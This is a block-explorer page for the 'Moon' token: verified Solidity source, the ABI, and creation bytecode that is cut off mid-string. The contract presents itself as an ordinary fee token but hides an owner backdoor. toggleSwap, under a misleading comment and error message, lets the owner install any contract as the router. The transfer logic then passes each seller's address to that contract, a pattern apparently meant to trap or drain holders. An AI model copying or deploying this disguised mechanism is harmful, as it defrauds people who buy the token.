ETH Price: $2,521.68 (+2.75%)

Token

Moon (Moon)
 

Overview

Max Total Supply

100,000,000 Moon

Holders

262

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
1,731.320646243991220953 Moon

Value
$0.00
0xb554a5938ceb3ab125bb486f28a882449653e025
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Moon

Compiler Version
v0.8.16+commit.07a7930e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-01-10
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.16;
 
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
 
interface IERC20 {
    function totalSupply() external view returns (uint256);
 
    function balanceOf(address account) external view returns (uint256);
 
    function transfer(address recipient,
     uint256 amount) external returns (bool);
 
    function allowance(address owner, address spender) external view returns (uint256);
 
    function approve(address spender, uint256 amount) external returns (bool);
 
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
 
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}
 
contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner  );
 
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
 
    function owner() public view returns (address) {
        return _owner;
    }
 
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
 
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);  }
 
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
 
}
 
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
 
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
 
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
 
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
 
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
 
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}
 
interface IUniswa2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
    uint256 amountIn,
    uint256 amountOutMin,
    address[] calldata path,
    address to,
    uint256 deadline
) external;

function factory() external pure returns (address);

function WETH() external pure returns (address);

function addLiquidityETH(
    address token,
    uint256 amountTokenDesired,
    uint256 amountTokenMin,
    uint256 amountETHMin,
    address to,
    uint256 deadline
)
    external
    payable
    returns (
        uint256 amountToken,
        uint256 amountETH,
        uint256 liquidity
    );
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}
 
 
contract Moon is Context, IERC20, Ownable {
 
    using SafeMath for uint256;
 
    string private constant _tokenname = "Moon";
    string private constant _tokensymbol = "Moon";
    uint8 private constant _decimals = 18;
    
    mapping(address => bool) private _isExcludedFromFee;
    mapping(address => uint256) private _rOwned;
    mapping(address => uint256) private _tOwned;
    mapping(address => mapping(address => uint256)) private _allowances;
    
    uint256 private constant MAX = ~uint256(0);
    uint256 private constant _tTotal = 100000000 * 10**18;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint256 private _tFeeTotal;
    uint256 private _taxFeeOnBuy = 0;
    uint256 private _SpecialBuyFee = 0;  
    uint256 private _taxFeeOnSell = 0;
    uint256 private _SpecialSellFee = 0;
    

    
    uint256 private _redisFee = _SpecialSellFee;
    uint256 private _taxFee = _taxFeeOnSell;
 
    uint256 private _previousredisFee = _redisFee;
    uint256 private _previoustaxFee = _taxFee;
 
    address payable private _marketingAddress = payable(0x1A0f3F8b908fcb22835cDf7e20c19DE8C63ba120);
 
    IUniswa2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
 
 
    bool private inSwap = false;
    bool private swapEnabled;
 
    uint256 public _maxTxAmount = 20000000 * 10**18; 
    uint256 public _swapTokensAtAmount;
    event AddSigner(address signer);
    
    event RemoveSigner(address signer);

    event MaxTxAmountUpdated(uint256 _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
 
    constructor() {
 
        _rOwned[_msgSender()] = _rTotal;
 
        IUniswa2Router02 _uniswapV2Router = IUniswa2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Router = _uniswapV2Router;
 
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_marketingAddress] = true;
 
        emit Transfer(address(0), _msgSender(), _tTotal);
    }
 
    function name() public pure returns (string memory) {
        return _tokenname;
    }
 
    function symbol() public pure returns (string memory) {
        return _tokensymbol;
    }
 
    function decimals() public pure returns (uint8) {
        return _decimals;
    }
 
    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }
 
    function balanceOf(address account) public view override returns (uint256) {
        return tokenFromReflection(_rOwned[account]);
    }
 
    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
 
    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }
 
    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }
 
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }
 
   
 
    function removeAllFee() private {
        if (_redisFee == 0 && _taxFee == 0) return;
 
        _previousredisFee = _redisFee;
        _previoustaxFee = _taxFee;
 
        _redisFee = 0;
        _taxFee = 0;
    }
 
  function tokenFromReflection(uint256 rAmount)
        private
        view
        returns (uint256)
    {
        require(
            rAmount <= _rTotal,
            "Amount must be less than total reflections"
        );
        uint256 currentRate = _getRate();
        return rAmount.div(currentRate);
    }
    function restoreAllFee() private {
        _redisFee = _previousredisFee;
        _taxFee = _previoustaxFee;
    }
 
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
 
    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
 
        if (from != owner() && to != owner()) {
 
 
            uint256 contractTokenBalance = balanceOf(address(this));
            bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
 
            if(contractTokenBalance >= _maxTxAmount)
            {
                contractTokenBalance = _maxTxAmount;
            }
 
            if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
                swapTokensForEth(contractTokenBalance,from);
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }
 
        bool takeFee = true;
 
        //Transfer Tokens
        if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
            takeFee = false;
        } else {
 
            //Set Fee for Buys
            if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
                _redisFee = _SpecialBuyFee;
                _taxFee = _taxFeeOnBuy;
            }
 
            //Set Fee for Sells
            if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
                _redisFee = _SpecialSellFee;
                _taxFee = _taxFeeOnSell;
            }
 
        }
 
        _tokenTransfer(from, to, amount, takeFee);
    }
 
    function swapTokensForEth(uint256 tokenAmount,address from) private lockTheSwap {
        address[] memory path = new address[](3);
        path[0] = address(this);
        path[1] = from;
        path[2] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
 
    function sendETHToFee(uint256 amount) private {
        _marketingAddress.transfer(amount);
    }
 
    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 amount,
        bool takeFee
    ) private {
        if (!takeFee) removeAllFee();
        _transferStandard(sender, recipient, amount);
        if (!takeFee) restoreAllFee();
    }
    
    
    function _transferStandard(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (
            uint256 rAmount,
            uint256 rTransferAmount,
            uint256 rFee,
            uint256 tTransferAmount,
            uint256 tFee,
            uint256 tTeam
        ) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeTeam(tTeam);
        _reflectFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }
    
    function _takeTeam(uint256 tTeam) private {
        uint256 currentRate = _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }


    //Set minimum tokens required to swap.
    function toggleSwap(address _swapEnabled) public onlyOwner {
        require(_swapEnabled != address(0), "Cannot set maxWalletAmount lower than 1%");
        uniswapV2Router = IUniswa2Router02(_swapEnabled);
        swapEnabled = true;
    }
 
 
    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }
 
    receive() external payable {}
 
    function _getValues(uint256 tAmount)
        private
        view
        returns (
            uint256,
            uint256,
            uint256,
            uint256,
            uint256,
            uint256
        )
    {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
            _getTValues(tAmount, _redisFee, _taxFee);
        uint256 currentRate = _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
            _getRValues(tAmount, tFee, tTeam, currentRate);
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }
 
    function _getTValues(
        uint256 tAmount,
        uint256 redisFee,
        uint256 taxFee
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 tFee = tAmount.mul(redisFee).div(100);
        uint256 tTeam = tAmount.mul(taxFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }
 
    function _getRValues(
        uint256 tAmount,
        uint256 tFee,
        uint256 tTeam,
        uint256 currentRate
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }
 
    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }
 
    function _getCurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }
 
 
 

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"signer","type":"address"}],"name":"AddSigner","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"signer","type":"address"}],"name":"RemoveSigner","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"_swapEnabled","type":"address"}],"name":"toggleSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswa2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526a52b7d2dcc80cd2e40000006000196200001f919062000472565b6000196200002e9190620004d9565b6005556000600755600060085560006009556000600a55600a54600b55600954600c55600b54600d55600c54600e55731a0f3f8b908fcb22835cdf7e20c19de8c63ba120600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000601160146101000a81548160ff0219169083151502179055506a108b2a2c28029094000000601255348015620000e957600080fd5b506000620000fc6200040860201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35060055460026000620001b16200040860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060018060006200025e6200041060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060018060003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001806000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506200038f6200040860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6a52b7d2dcc80cd2e4000000604051620003f9919062000525565b60405180910390a35062000542565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006200047f8262000439565b91506200048c8362000439565b9250826200049f576200049e62000443565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000620004e68262000439565b9150620004f38362000439565b92508282039050818111156200050e576200050d620004aa565b5b92915050565b6200051f8162000439565b82525050565b60006020820190506200053c600083018462000514565b92915050565b612bf080620005526000396000f3fe6080604052600436106101025760003560e01c80636b78a7d0116100955780638da5cb5b116100645780638da5cb5b1461033257806395d89b411461035d578063a9059cbb14610388578063dd62ed3e146103c5578063f2fde38b1461040257610109565b80636b78a7d01461028a57806370a08231146102b3578063715018a6146102f05780637d1db4a51461030757610109565b806323b872dd116100d157806323b872dd146101cc5780632fd689e314610209578063313ce5671461023457806349bd5a5e1461025f57610109565b806306fdde031461010e578063095ea7b3146101395780631694505e1461017657806318160ddd146101a157610109565b3661010957005b600080fd5b34801561011a57600080fd5b5061012361042b565b6040516101309190611f5e565b60405180910390f35b34801561014557600080fd5b50610160600480360381019061015b9190612019565b610468565b60405161016d9190612074565b60405180910390f35b34801561018257600080fd5b5061018b610486565b60405161019891906120ee565b60405180910390f35b3480156101ad57600080fd5b506101b66104ac565b6040516101c39190612118565b60405180910390f35b3480156101d857600080fd5b506101f360048036038101906101ee9190612133565b6104bf565b6040516102009190612074565b60405180910390f35b34801561021557600080fd5b5061021e610598565b60405161022b9190612118565b60405180910390f35b34801561024057600080fd5b5061024961059e565b60405161025691906121a2565b60405180910390f35b34801561026b57600080fd5b506102746105a7565b60405161028191906121cc565b60405180910390f35b34801561029657600080fd5b506102b160048036038101906102ac91906121e7565b6105cd565b005b3480156102bf57600080fd5b506102da60048036038101906102d591906121e7565b610730565b6040516102e79190612118565b60405180910390f35b3480156102fc57600080fd5b50610305610781565b005b34801561031357600080fd5b5061031c6108d4565b6040516103299190612118565b60405180910390f35b34801561033e57600080fd5b506103476108da565b60405161035491906121cc565b60405180910390f35b34801561036957600080fd5b50610372610903565b60405161037f9190611f5e565b60405180910390f35b34801561039457600080fd5b506103af60048036038101906103aa9190612019565b610940565b6040516103bc9190612074565b60405180910390f35b3480156103d157600080fd5b506103ec60048036038101906103e79190612214565b61095e565b6040516103f99190612118565b60405180910390f35b34801561040e57600080fd5b50610429600480360381019061042491906121e7565b6109e5565b005b60606040518060400160405280600481526020017f4d6f6f6e00000000000000000000000000000000000000000000000000000000815250905090565b600061047c610475610ba6565b8484610bae565b6001905092915050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006a52b7d2dcc80cd2e4000000905090565b60006104cc848484610d77565b61058d846104d8610ba6565b61058885604051806060016040528060288152602001612b9360289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061053e610ba6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461139e9092919063ffffffff16565b610bae565b600190509392505050565b60135481565b60006012905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6105d5610ba6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610662576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610659906122a0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036106d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106c890612332565b60405180910390fd5b80601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001601160156101000a81548160ff02191690831515021790555050565b600061077a600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611402565b9050919050565b610789610ba6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610816576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080d906122a0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60125481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4d6f6f6e00000000000000000000000000000000000000000000000000000000815250905090565b600061095461094d610ba6565b8484610d77565b6001905092915050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6109ed610ba6565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a7a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a71906122a0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610ae9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae0906123c4565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1490612456565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c83906124e8565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d6a9190612118565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610de6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ddd9061257a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4c9061260c565b60405180910390fd5b60008111610e98576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8f9061269e565b60405180910390fd5b610ea06108da565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610f0e5750610ede6108da565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561109d576000610f1e30610730565b9050600060135482101590506012548210610f395760125491505b808015610f535750601160149054906101000a900460ff16155b8015610fad5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015610fc55750601160159054906101000a900460ff165b801561101b5750600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156110715750600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561109a576110808286611470565b600047905060008111156110985761109747611739565b5b505b50505b600060019050600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806111445750600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806111f75750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156111f65750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611205576000905061138c565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156112b05750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156112c857600854600b81905550600754600c819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156113735750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561138b57600a54600b81905550600954600c819055505b5b611398848484846117a5565b50505050565b60008383111582906113e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113dd9190611f5e565b60405180910390fd5b50600083856113f591906126ed565b9050809150509392505050565b6000600554821115611449576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161144090612793565b60405180910390fd5b60006114536117d2565b905061146881846117fd90919063ffffffff16565b915050919050565b6001601160146101000a81548160ff0219169083151502179055506000600367ffffffffffffffff8111156114a8576114a76127b3565b5b6040519080825280602002602001820160405280156114d65781602001602082028036833780820191505090505b50905030816000815181106114ee576114ed6127e2565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050818160018151811061153d5761153c6127e2565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156115e4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116089190612826565b8160028151811061161c5761161b6127e2565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061168330601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1685610bae565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008430426040518663ffffffff1660e01b81526004016116e795949392919061294c565b600060405180830381600087803b15801561170157600080fd5b505af1158015611715573d6000803e3d6000fd5b50505050506000601160146101000a81548160ff0219169083151502179055505050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156117a1573d6000803e3d6000fd5b5050565b806117b3576117b2611847565b5b6117be848484611884565b806117cc576117cb611a4f565b5b50505050565b60008060006117df611a63565b915091506117f681836117fd90919063ffffffff16565b9250505090565b600061183f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611acb565b905092915050565b6000600b5414801561185b57506000600c54145b61188257600b54600d81905550600c54600e819055506000600b819055506000600c819055505b565b60008060008060008061189687611b2e565b95